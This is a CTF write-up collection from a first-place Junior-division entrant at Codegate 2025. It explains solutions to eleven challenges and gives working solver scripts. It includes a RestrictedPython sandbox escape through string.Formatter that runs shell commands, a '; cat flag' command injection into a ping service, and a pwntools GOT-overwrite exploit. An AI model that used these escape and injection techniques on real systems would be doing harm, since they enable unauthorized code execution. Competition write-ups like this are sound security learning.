---
# System prepended metadata

title: Codegate Junior 2025 Writeups

---

# Codegate Junior 2025 Writeups
Welcome!

These are all my writeups from Codegate's 2025 CTF. Codegate is an annual CTF that lasts for 13 hours. I participated in the Junior division (for those 19 and under).

I ended up in 1st place, with 4739 points and 11 challenges solved!
![image](https://hackmd.io/_uploads/ByuL6MLpkg.png)

I had a lot of fun throughout the competition!

The following are all the challenges I solved, in chronological order. :)

## misc/Hello Codegate - 250 pts (106 solves)
> Welcome to Codegate 2025 get flag from Discord notice channel!

`codegate2025{65782695e16255e3ef8517a1bfb059f0}`

## misc/Captcha World - 250 pts (94 solves)
> Captcha is wall
> 
> nc 3.38.44.81 9623

Connecting to remote, we see ASCII art text. For example:
```
Round 1
Solve the captcha

Captcha: 
####  ######  ##      ## ##     ## ######## 
 ##  ##    ## ##  ##  ## ##     ##    ##    
 ##  ##       ##  ##  ## ##     ##    ##    
 ##  ##       ##  ##  ## ##     ##    ##    
 ##  ##       ##  ##  ##  ##   ##     ##    
 ##  ##    ## ##  ##  ##   ## ##      ##    
####  ######   ###  ###     ###       ##    


Input:
```

Inputting the text and solving all rounds gives the flag.

`codegate2025{9bc7d56d3a1abe642f21d24f4ed8bba569fa271d5ba34067ea39e463c91968a78c18bb38532a57bb15cf2edd8ecffe}`

## misc/SafePythonExecutor - 306 pts (15 solves)
> This time, it's really safe, I swear!
> 
> nc 3.35.196.167 42424

The challenge is a pyjail that runs input code using RestrictedPython. Looking at the Dockerfile, we see a suspiciously old version of RestrictedPython:
```dockerfile
RUN pip3 install RestrictedPython==6.1
```

Snyk tells us that this version contains an [Access Control Bypass](https://security.snyk.io/vuln/SNYK-PYTHON-RESTRICTEDPYTHON-5876648) with `string.Formatter`. Using this, we are able to arbitrarily get attributes, which we can use to get us the flag:

```python
def code(): return string.Formatter().get_field('a.__builtins__[__import__]', args={}, kwargs={'a': setattr})[0]('os').system('cat flag')
```

`codegate2025{afc6f9c19df1e9edb855f40e3a4c4e89cec2cd0c49761ec12e1828ddf4c7d0db13b134dbc03d8a97083260ef477842bb486ce499cef3}`

## web/Ping Tester - 250 pts (102 solves)
> You can ping to IP address!
> 
> http://3.35.78.136:5000

The webpage has an input box where we can type an IP:
![image](https://hackmd.io/_uploads/Bk7JceL6yl.png)

Looking at the server code, we see that our input is used as an argument in a shell command without proper escaping:
```python
result = subprocess.run(f"ping -c 3 {ip}", shell=True, capture_output=True, text=True)
```

So, we can read the flag by inputting `; cat flag`.

`codegate2025{80fd12690c4d31a8cf3fe2865e3ceb99aca9e6047c6acb2cbb9157e26ec91f4b}`

## crypto/Encrypted flag - 250 pts (92 solves)
> Decrypt the flag!!

The challenge implements RSA, but prime numbers p and q are close to each other. ChatGPT wrote me a solve script:

```python
from sympy import prevprime, nextprime
import math
from Crypto.Util.number import long_to_bytes, inverse

# Given values from the challenge
n = 54756668623799501273661800933882720939597900879404357288428999230135977601404008182853528728891571108755011292680747299434740465591780820742049958146587060456010412555357258580332452401727868163734930952912198058084689974208638547280827744839358100210581026805806202017050750775163530268755846782825700533559  # Replace with the printed 'n' value
e = 65537
c = 7728462678531582833823897705285786444161591728459008932472145620845644046450565339835113761143563943610957661838221298240392904711373063097593852621109599751303613112679036572669474191827826084312984251873831287143585154570193022386338846894677372327190250188401045072251858178782348567776180411588467032159  # Replace with the encrypted flag

# Step 1: Approximate sqrt(n) and find p
approx_p = math.isqrt(n)  # Approximate square root of n
p = prevprime(approx_p)  # Find the previous prime (which should be p)
q = nextprime(p)  # Since q = nextprime(p)

# Step 2: Compute phi and private key d
phi = (p - 1) * (q - 1)
d = inverse(e, phi)  # Modular inverse to get d

# Step 3: Decrypt the flag
m = pow(c, d, n)
flag = long_to_bytes(m)

print(f"Decrypted flag: {flag.decode()}")
```

`codegate2025{Cl0se_p_q_0f_RSA_Is_Vu1n3rabIe}`

## rev/initial - 250 pts (57 solves)
> Hell0 W0rld!

The challenge contains an ELF. If we pop it into Binary Ninja, and assign some names and types to functions and variables, the binary looks like this:
![image](https://hackmd.io/_uploads/ryHMhx86Jg.png)

The binary takes the user input, then:
1. Xors each character with the next character (wrapping around at the end)
2. Substitutes a character for another from a table
3. Bit rotates right the character by its index & 6
4. Checks it against an expected value

We can throw together a small Python script to reverse all of this:
```python
import z3

substitution = bytes.fromhex('45b81a8047cbd6191d5856e236e42765b173e95c7e427cde7161f648f522571bafdb8d8bc02bd4a1ccf2ebbe3738d91e63e34d9413ba9c861035fc4fd7d37b3ac98fd024f1052c535e8c963da6a46ecf5b6d04ed127a172534dcade120917506c4746f78006cc2aba99fb0163390cdb23caa9b514e3f1c50fa18e8b454b93b49f9b6999d7d0e66efff1597550ff8212e83f3950aa8bc5db532fdf7d82689642fa7ca0decc3fbacb709ee8492790107a2774a026039a093bd88c6e5e7ce23bbdf85c159ead29ae63114fec544118767d14bda6a52bf0bf45a8a0828a37f30709e2d0c82ae40684376e03e8e2a4ca5d56972c8816b46c7b31f5f9829f06203dd41')
expected = bytes.fromhex('36e22e866d24cd941a1a469b4983611520b247ea0d42e93de4741b168b542eaa')

def rotateLeft(value, shift):
    return ((value << shift) | (value >> (8 - shift))) & 0xFF

def unswizzle(v, i):
    return rotateLeft(v, i & 6)

c = []
flag = [z3.BitVec(f'flag_{i}', 8) for i in range(32)]
z = [*flag]
s = z3.Solver()

for i, b in enumerate(expected):
    s.add(flag[i] >= 0x20)
    s.add(flag[i] <= 0x7f)

    z[i] = z[i] ^ z[(i + 1) % 0x20]
    s.add(z[i] == substitution.index(unswizzle(b, i)))

print(s.check())
if s.check() == z3.sat:
    m = s.model()
    for i in range(32):
        c.append(m[flag[i]].as_long())
    c = bytes(c)
print(c)
```

`codegate2025{Hell0_W0r1d_R3V_^^}`

## rev/WebBinary - 275 pts (17 solves)
> Web Binary is easy?

The attachments contain a WebAssembly file that we need to reverse. We can use Ghidra for this.

We can see that after taking in user input, the binary groups up our user input into groups of 3 characters, then performs some bitwise operations on them to expand them into a group of 4 characters. These 4 characters are then written to an intermediate array:
![image](https://hackmd.io/_uploads/BydtAlIpyl.png)

Then, the intermediate array is checked against some expected values, and prints the flag if all checks pass:
![image](https://hackmd.io/_uploads/Bk3Z1bUTyg.png)

So, we can just reverse the bitwise operations that expanded the 3 characters to get our flag:
```python
expected = bytes.fromhex('0d3300390e0301230d160432191308310e1305210c1611240c030830183610350c231d24190611241906140000000000000000000000000000000000000000000000')[:64]
flag = b''
for i in range(0, len(expected), 4):
    a, b, c, d = expected[i:i+4]
    flag += bytes([
        (a << 2) | (b >> 4),
        ((b << 4) & 0xf0) | (c >> 2),
        d | ((c & 3) << 6),
    ])

print(flag)
```

`codegate2025{70980c5a2e2191a1dd020cd527ddddde}`

## pwn/What's Happening? - 250 pts (27 solves)
> My program is supposed to calculate the scale values of celestial bodies in the solar system... But what on earth is happening in my code?!
> 
> nc 3.37.174.221 33333

The binary is an ELF that has a command-line menu. If we `checksec` the binary, we see that there is partial RELRO and no PIE:
```
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

There is an out-of-bounds write vulnerability in the menu option to update a planet's data:
![image](https://hackmd.io/_uploads/rJMQG-Iaye.png)

There is also a `win` function we can use:
![image](https://hackmd.io/_uploads/HkVNfZ8TJe.png)

Because there is partial RELRO, we can use the out-of-bounds write to overwrite the `puts` function in the GOT. Because there is no PIE, we know the address of the `win` function. We have to be careful, though, to not overwrite the GOT entry of the `system` function.

Putting this together, our exploit is:
```python
import pwn

pwn.context.update(arch='amd64', os='linux')

elf = pwn.ELF('./prob', checksec=False)
r = pwn.remote('3.37.174.221', 33333)

r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'Enter planet index to update (0-12): ', b'-3')
r.sendlineafter(b'Enter planet name: ', pwn.p64(elf.sym.win) + pwn.p64(0) + pwn.p64(0x401080))

r.interactive()
```

`codegate2025{eee425cb2a1cba22d68f11b3604c1fe3404a9b09817489ee78ca78271a9d86077e2e7c439a22632ba0ff2608ac6afd0b96f4d45e}`

## rev/C0D3Matr1x - 741 pts (6 solves)
> Do you know what a Matr1x is?

The attachments contain an ELF binary. If we open it in Binary Ninja, we see a lot of 2d array reads/writes. Based off the challenge name, we can infer that these are matrices.

Knowing that these are matrices, we can easily assign types and names to the functions and variables:
![image](https://hackmd.io/_uploads/Hy4hNWLa1g.png)
![image](https://hackmd.io/_uploads/rJ6QSb86ke.png)
1. The binary initializes a sparse matrix into `mat2`.
2. Our input is written into a matrix. The string `C0D3GAT3` is also written in a diagonal fashion.
3. Some matrix operations are applied.
4. `mat6` is checked against expected values. If these checks pass, we get the flag.

All these matrix operations are reversible. One key thing to note is that all these matrix operations modulo their outputs by `0xffff`, so when reversing these operations, we will want to use modular arithmetic (mod `0xffff`):
![image](https://hackmd.io/_uploads/HJlZLb8aJl.png)

With the help of ChatGPT, we can write some code to reverse the matrix operations:
```python
import struct
import sympy as sp
import z3

content = open('prob2', 'rb').read()
r = lambda x: sp.Matrix([y[0] for y in struct.iter_unpack('<i', content[x:x+24*24*4])]).reshape(24, 24)

c1 = r(0x3220)
c2 = r(0x4d20)
c3 = r(0x3b20)
c4 = r(0x4420)
expected = r(0x5620)

def makeMat2():
    mat2 = [0 for _ in range(0x18*0x18)]
    for i in range(0xc):
        if i & 1:

            mat2[(0x17 - i) * 0x18 + i] = 1
            mat2[i * 0x18 + (0x17 - i)] = 1
        else:
            mat2[i * 0x18 + i] = 1
            mat2[(0x17 - i) * 0x18 + (0x17 - i)] = 1
    return mat2

def printMat(m, w=0x18):
    for r in range(w):
        for c in range(w):
            print(m[r*w + c], end='\t')
        print()

def modInvMatrix(B, m):
    # convert list to sympy Matrix
    B = sp.Matrix(B).reshape(0x18, 0x18)  # Reshape to 18x18 matrix
    det_B = int(B.det())  # Compute determinant
    det_inv = sp.mod_inverse(det_B, m)  # Compute modular inverse of determinant
    
    if det_inv is None:
        raise ValueError("Matrix is not invertible modulo {}".format(m))
    
    B_inv = det_inv * B.adjugate() % m  # Compute modular inverse
    return B_inv

mat2 = makeMat2()
c2Inv = sp.Matrix([[45655, 7698, 51894, 28592, 12991, 57757, 56138, 50496, 6843, 44923, 19542, 24649, 5744, 40117, 38027, 45930, 22347, 29246, 32946, 47465, 25007, 36601, 48842, 64261], [6038, 21070, 5813, 9798, 58111, 40706, 10102, 19495, 37102, 35740, 5186, 49541, 51146, 48802, 25747, 41870, 18973, 57706, 30794, 31682, 14882, 27374, 40691, 50847], [64691, 34070, 19186, 8703, 31306, 19187, 12212, 62902, 49502, 55801, 46359, 21196, 10689, 9866, 60110, 45629, 35588, 53828, 14176, 55567, 4579, 21454, 55236, 65325], [38022, 19710, 18483, 40590, 62637, 64192, 61396, 33627, 26810, 58430, 13425, 33833, 22666, 39081, 4778, 50401, 28119, 51565, 46846, 19000, 37069, 12126, 53756, 37803], [58247, 36315, 37696, 42976, 32658, 34262, 35984, 14400, 51936, 21280, 9407, 58638, 46409, 11697, 27408, 43368, 59218, 42567, 36860, 46109, 40232, 33802, 55158, 55223], [37387, 6861, 39932, 46512, 41482, 16416, 58044, 14913, 19656, 23686, 63410, 37153, 10125, 45183, 15826, 54979, 21536, 22011, 50797, 46533, 582, 23368, 60483, 57558], [11287, 23858, 800, 50991, 32953, 50831, 36407, 41270, 59186, 11637, 64966, 65234, 23839, 9560, 8220, 18686, 52996, 528, 40843, 12241, 30723, 51203, 21507, 37682], [63608, 49908, 42648, 8843, 15537, 41942, 30769, 15809, 62517, 6263, 31737, 29013, 61892, 26538, 54174, 9027, 26498, 51578, 47902, 44743, 29316, 62454, 4733, 2403], [24105, 50481, 55030, 18221, 3599, 8696, 15979, 1004, 3531, 47407, 46547, 41528, 28979, 26779, 52266, 30267, 50201, 55264, 41992, 62647, 59237, 52904, 5307, 16126], [51173, 22726, 59490, 20924, 32059, 34603, 31980, 36926, 44383, 24650, 31586, 36468, 30558, 17539, 37011, 21058, 59750, 28372, 49022, 60326, 19955, 52260, 3902, 251], [47424, 19120, 39357, 12026, 36931, 19027, 39373, 15628, 58801, 38196, 26205, 57813, 18778, 19025, 45635, 9287, 50235, 61781, 17418, 47555, 61253, 52238, 2766, 499], [3323, 33461, 11756, 17932, 38222, 50983, 41908, 38736, 27542, 49523, 28191, 38867, 11908, 22945, 626, 52345, 3563, 24337, 55767, 11247, 24131, 26054, 27334, 35769], [48919, 35691, 25688, 29272, 30393, 55017, 51892, 6027, 1886, 22645, 42387, 52938, 43870, 29682, 2787, 11512, 11282, 4435, 46229, 24794, 45536, 42339, 27075, 26230], [57501, 30316, 30101, 55242, 56487, 62549, 27268, 18374, 19852, 52549, 14187, 5588, 46569, 1345, 41156, 56949, 39908, 37657, 14592, 20738, 7181, 58115, 19109, 56296], [30405, 10512, 53321, 9352, 28770, 23007, 57203, 44678, 17485, 24828, 29335, 694, 40662, 48440, 22934, 1867, 8638, 16609, 53853, 64291, 37969, 49682, 19479, 48730], [18414, 26971, 21027, 19808, 27177, 33100, 63942, 40671, 13973, 9196, 31512, 8925, 30684, 17265, 63762, 15387, 6532, 6352, 64355, 61660, 59515, 5429, 4078, 38786], [54175, 48977, 1639, 27179, 22488, 63378, 18638, 12216, 32403, 38307, 34195, 34589, 4180, 54222, 27058, 64640, 28272, 31739, 41353, 6756, 58799, 39496, 41162, 62226], [7064, 16323, 19568, 24230, 57548, 20764, 15369, 23477, 58256, 40105, 50849, 11200, 9354, 32718, 65169, 6535, 64087, 58763, 33343, 30812, 29373, 33224, 5878, 36490], [43715, 12942, 24550, 63492, 63832, 12862, 25196, 28111, 46237, 57480, 39877, 8106, 8981, 53045, 23369, 61146, 24311, 32609, 39450, 37627, 1628, 56788, 63287, 7546], [55054, 26780, 15933, 59524, 40210, 11829, 8485, 31217, 53387, 44569, 28361, 639, 23916, 27369, 25905, 21166, 8738, 18420, 22502, 21732, 50603, 48479, 25496, 37549], [9898, 37583, 49642, 46546, 13307, 7917, 57417, 65215, 14257, 51658, 20555, 29472, 54456, 62924, 51890, 28800, 23567, 11836, 59582, 42971, 56947, 16236, 41198, 46445], [31898, 6360, 40041, 52138, 37922, 328, 51011, 60556, 62560, 47407, 23537, 52977, 45949, 12989, 32646, 739, 52890, 37809, 40763, 16121, 24611, 2947, 8411, 51923], [39923, 62049, 2491, 7971, 23647, 51436, 13692, 31594, 46521, 43115, 28, 28055, 8339, 21439, 44706, 33882, 53719, 27191, 4626, 41675, 34007, 58202, 7179, 42602], [47239, 5156, 49120, 43048, 45077, 19498, 17705, 48654, 11994, 22383, 8039, 60985, 23663, 41686, 63782, 54626, 17138, 58132, 36141, 52112, 2549, 23003, 65271, 13648]])
m2Inv = sp.Matrix([[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]])


mat5 = (expected - c3) % 0xffff
mat4 = mat5 * c2Inv % 0xffff
mat1: sp.Matrix = (mat4 - c1) % 0xffff
mat1 = mat1.rot90()
mat3 = m2Inv * mat1 % 0xffff
mat1 = mat3 * m2Inv % 0xffff
mat1: sp.Matrix = mat1.rot90(-1)



solver = z3.Solver()

flag = [z3.BitVec(f'flag_{i}', 8) for i in range(484)]
inp = []

for c in flag:
    solver.add(c >= 0x20, c <= 0x7f)

i = 0
for r in range(0x1a):
    for c in range(0x1a):
        if r == 0 or r == 0x19 or c == 0 or c == 0x19:
            inp.append(0)
        elif 2 <= r and r < 0x18 and 2 <= c and c < 0x18 and i < len(flag):
            inp.append(z3.ZeroExt(32, flag[i]))
            i += 1
        else:
            inp.append(ord('C0D3GAT3'[(r + c - 2) & 7]))

for r in range(0x18):
    for c in range(0x18):
        v = \
            inp[r*0x1a + c] + inp[r*0x1a + c + 1] + inp[r*0x1a + c + 2] + \
            inp[(r+1)*0x1a + c] + inp[(r+1)*0x1a + c + 1] + inp[(r+1)*0x1a + c + 2] + \
            inp[(r+2)*0x1a + c] + inp[(r+2)*0x1a + c + 1] + inp[(r+2)*0x1a + c + 2]
        solver.add(v == mat1[r, c])

print(solver.check())
m = solver.model()
flag = [m[flag[i]].as_long() for i in range(484)]
flag = ''.join([chr(x) for x in flag])
print(flag)
```

This script gives us a string:
```
C0DEGATE 1s a gl0ba1 internationa1 hacking d3f3ns3 competition and 5ecurity conference. Held annually since 2008, C0D3GAT3 is known as the Olympics for hackers, wh3re hack3rs and security 3xperts from around the world gath3r t0 c0mpet3 for the title of the w0rld's best hack3r. In addition to fierce competition among tru3 white-hat hackers, a juni0r division is also he1d, s3rv1ng as a p1atform f0r discover1ng talented 1ndividuals 1n th3 fi3ld of cyb3rsecurity. You are good hacker.
```

Putting this string into the binary gives the flag.

`codegate2025{de955b80b49fcf6922e7313778fb72d3644721b19c467f95c671b527b14d97f2}`

## rev/protoss_58 - 917 pts (3 solves)
> Our group has leaked the agent's program from the Protoss Confidential Agency... Please find out the flag...
> 
> 3.37.15.100:50051

The challenge contains an ELF. If we open it up in Binary Ninja, we see a Go binary. Historically, I have found that reversing Go decompilations is not fun, so I tried to avoid looking at the decompilation.

If we run the binary, we are prompted with a server address. If we enter it in, we are given this menu:
```
Enter the server address: (server:port)
> 3.37.15.100:50051
Your access level is: 2

Idx Secret Titles                         Access Level
00. Xel'Naga's First Experiment           2
01. Dark Templar's Origin                 3
02. Colossus Controversy                  3
03. Mothership Relics                     4
04. Immortals and Dragoons                4
05. Psionic Matrix Vulnerability          2
06. Hidden Guardianship of Lesser Races   3
07. Void Ray Pilots                       5
08. Tal'darim's Secrets                   3
09. Protoss-Zerg Hybrids                  2
10. The location of the flag              1
What secret do you want to read?
> 
```

Trying to enter in an index causes the binary to crash. However, I had a theory that the challenge author set a very low timeout on the binary (this would make sense if the binary is intended to be interacted with through `pwntools`). Indeed, if we enter the server address and index in quick succession, we get a result:
```
> 0
content : The Protoss were the first successful experiment of the Xel'Naga, created to achieve 'purity of form.' However, they were abandoned after their psionic link fractured due to rising individualism.
```

If we search for the secret titles or secret content in the binary, we do not find any results. Therefore, we can infer that these are being loaded from the server.

At this point, I used `tcpdump` and Wireshark to get a better understanding of what data is actually being transmitted to and fro the server.

Looking at Wireshark, we can see some gRPC requests that appear to be transmitting the data:
![image](https://hackmd.io/_uploads/HkbrXzLpyl.png)

The only response from the server that contains a field with the value `2` (our access level) is the response from `/auth.AuthService/Verify`. So, we can infer that our request to `/auth.AuthService/Verify` is what determines our access level.

The request to `/auth.AuthService/Verify` contains one string field:
![image](https://hackmd.io/_uploads/r17n4MIp1l.png)

This field's value is `choS1W2bz9eG.420ef1effec0a25d`. We will need to look at the binary decompilation to figure out what this string means.

If we click around for a bit, we can find that `GenerateAuthData` appears to be what creates this mysterious string. The decompilation is still messy though:
![image](https://hackmd.io/_uploads/ByD9SzL6kl.png)
![image](https://hackmd.io/_uploads/ryV2rGLTyl.png)

Rather than trying to figure out any of this statically, I decided to run the binary under `gdb` and dynamically analyze this. From this, I figured out the following:
1. The result from `math_rand_Int63` corresponds to the hexadecimal number after the period in the gRPC request. This number is used as a seed for encoding in Base58 with a shuffled alphabet.
2. The string before the period in the gRPC request is a Base58 encoding of a username and a numerical ID. By default, in the binary, the username is `guest` and the ID is `1`.

If we click around a bit, we can find this unused function named `VerifyToken`. This function seems to reference a username of `commander` and an ID of `0xdead`:
![image](https://hackmd.io/_uploads/H1tSDMUpye.png)

Indeed, if we patch the binary so that our username is `commander` and we have an ID of `0xdead`, we find that we have an access level of 1. We can then read the location of the flag secret:
```
Enter the server address: (server:port)
> 3.37.15.100:50051
Your access level is: 1

Idx Secret Titles                         Access Level
00. Xel'Naga's First Experiment           2
01. Dark Templar's Origin                 3
02. Colossus Controversy                  3
03. Mothership Relics                     4
04. Immortals and Dragoons                4
05. Psionic Matrix Vulnerability          2
06. Hidden Guardianship of Lesser Races   3
07. Void Ray Pilots                       5
08. Tal'darim's Secrets                   3
09. Protoss-Zerg Hybrids                  2
10. The location of the flag              1
What secret do you want to read?
> 10
content : You have to explore the whole galaxy to find it. (Find verify flag function... I think you need top-level access and hidden message for this {hint : secretService.Flag})
```

Near the `VerifyToken` function, there is another unused function named `VerifyFlag`. From the hint, we can infer that we need to send a gRPC request to `/secret.SecretService/Flag`, and that we need to send a hidden field with a string that satisfies the `VerifyFlag` function.

The `VerifyFlag` function seems to want a length of `0x12`:
![image](https://hackmd.io/_uploads/B1ipdGL6yg.png)

It then seems to take our input and do some bitwise operations:
![image](https://hackmd.io/_uploads/H1ZbKGIa1x.png)

Then, it appears to group our input into groups of 3 characters, then expands each group of 3 characters into 4 characters with some bitwise operations:
![image](https://hackmd.io/_uploads/rJlHYfLpJx.png)

Finally, it substitutes each character via a substitution table, then checks the result against an expected value (Binary Ninja does not show the expected value in High Level IL, but it can be found via disassembly):
![image](https://hackmd.io/_uploads/S1n3YzUTkg.png)
![image](https://hackmd.io/_uploads/SyqRtGUpJl.png)

This function acts very similar to the one from rev/WebBinary, and we can reverse the process in a similar way:
```python
import z3

substitutionTable = '4E6nQpOkBcWmIfXorxGhg_z81qC3sv79DlRSN5PHeUZAwVYuat0TF2djJbKLyMi'
expected = 'lScv9oQ6VgELTPBdHnxp9dND'
values = [substitutionTable.index(c) for c in expected]
indices = b''
for i in range(0, len(values), 4):
    a, b, c, d = values[i:i+4]
    print(a, b, c, d)
    indices += bytes([
        ((a << 2) & 0xfc) | ((d >> 4) & 3),
        ((b << 2) & 0xfc) | ((d >> 2) & 3),
        ((c << 2) & 0xfc) | (d & 3),
    ])

inp = [z3.BitVec('inp_%d' % i, 8) for i in range(len(indices))]
solver = z3.Solver()
for i, j in enumerate(inp):
    k = 0xa5
    if i < len(inp) - 1:
        k = inp[i + 1]
    solver.add(z3.RotateLeft(k ^ z3.RotateLeft(j ^ 0x44, 5), 4) == indices[i])

print(solver.check())
if solver.check() == z3.sat:
    model = solver.model()
    result = b''
    for i in inp:
        result += bytes([model[i].as_long()])
    print(result)
```

This outputs the string `My_1ife_F0r_Aiur!!`.

If we then send a gRPC request to `/secret.SecretService/Flag` with our `commander` token and `My_1ife_F0r_Aiur!!` as an additional field, we get the flag.

`codegate2025{c04d0a087f91f6a254b607eea68e12b91529f6b0d6f626a3773df31748661243}`

## rev/cha's ELF - 1000 pts (1 solve)
> he sent me the message. what is it? flag: codegate2025{"input"}

The challenge contains an ELF. If we open up the binary in Binary Ninja, the decompilation looks horrible. Rather than normal control flow, there appears to be a single state machine that drives the program. The instructions also appear to be obfuscated, since it is almost unreadable. For example:
![image](https://hackmd.io/_uploads/HJaEcZLp1l.png)

If we `strings` the binary, we see:
```
Obfuscator-LLVM clang version 4.0.1  (based on Obfuscator-LLVM 4.0.1)
```

There are a few existing tools that can deobfuscate Obfuscator-LLVM binaries, but the only one I found that did not crash and would not require me to buy an IDA license was [MODeflattener](https://github.com/mrT4ntr4/MODeflattener).

The deobfuscator helped a little:
![image](https://hackmd.io/_uploads/BySRtWITJe.png)

We can see that the binary only accepts inputs of lengths that are 1 more than a multiple of 64. We can also see some memory allocations and some methods that operate on our user input. However, for the most part, the decompilation is still unreadable.

I gave up on trying to reverse the binary using the decompilation, and tried to instead black-box the binary. I noticed something interesting:
```
> ./chas_elf
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ae461a5ab49d0fd9eff89a6c6b10c978fd439a29ab22770e04e019808c8d0df08b95c5ccf21f445243635751a2bbe9a1c957534e8ced10d027d40c38b57c68b3

> ./chas_elf
baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ad461a5ab49d0fd9eff89a6c6b10c978fd439a29ab22770e04e019808c8d0df08b95c5ccf21f445243635751a2bbe9a1c957534e8ced10d027d40c38b57c68b3

> ./chas_elf
bbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ad451a5ab49d0fd9eff89a6c6b10c978fd439a29ab22770e04e019808c8d0df08b95c5ccf21f445243635751a2bbe9a1c957534e8ced10d027d40c38b57c68b3

> ./chas_elf
bbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaba
ad451a5ab49d0fd9eff89a6c6b10c978fd439a29ab22770e04e019808c8d0df08b95c5ccf21f445243635751a2bbe9a1c957534e8ced10d027d40c38b57c68b0

> ./chas_elf
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab
da9c27b9efff239fce1539a0be8cc40ff3b869dd1f89e5f27790d92140a77e8f9d46227b3f6d8ac9d41ed72c5073b8ab64e27fac074976f9aa15b11a3aa54f4d
```

If we don't change the last character, the binary appears to exhibit character-by-character encryption. The last character seems to change something globally about the encryption.

If we take these observations to be true, then we can just brute-force through all last characters, then brute-force through the rest of the characters to find the flag:
```python
import pwn
import string

pwn.context.update(arch='amd64', os='linux', log_level='error')

b = bytes.fromhex('147274ff36e71d07cfad08e75f0352799d0081c6862fd96aebb08566f49ca86f15528c5121940ddc3ee92b816b1147be934d03389ee0cfad5b539ebf35feb969')

for lastC in string.printable:
    if lastC in string.whitespace:
        continue
    print(f"Trying lastC: {lastC}")
    flag = ''
    for i in range(0x40):
        for c in string.printable:
            if c in string.whitespace:
                continue
            r = pwn.process('./chas_elf')
            r.sendline(((flag + c).ljust(0x40, 'a') + lastC).encode())
            out = bytes.fromhex(r.recvline().strip().decode())
            r.close()

            if out[i] == b[i]:
                flag += c
                print(f"Found: {c} {lastC} {flag}")
                break
        else:
            print("Not found")
            break
    else:
        print(f"Found flag: {flag + lastC}")
        break
```

This script takes a few minutes, but it eventually finds the flag.

`codegate2025{C0py_@nd_P4tch?_N0_7hi$_1s_Ch@s_Tr1ck!_W3lc0m3_tO_ChA_W0rld_haha!}`
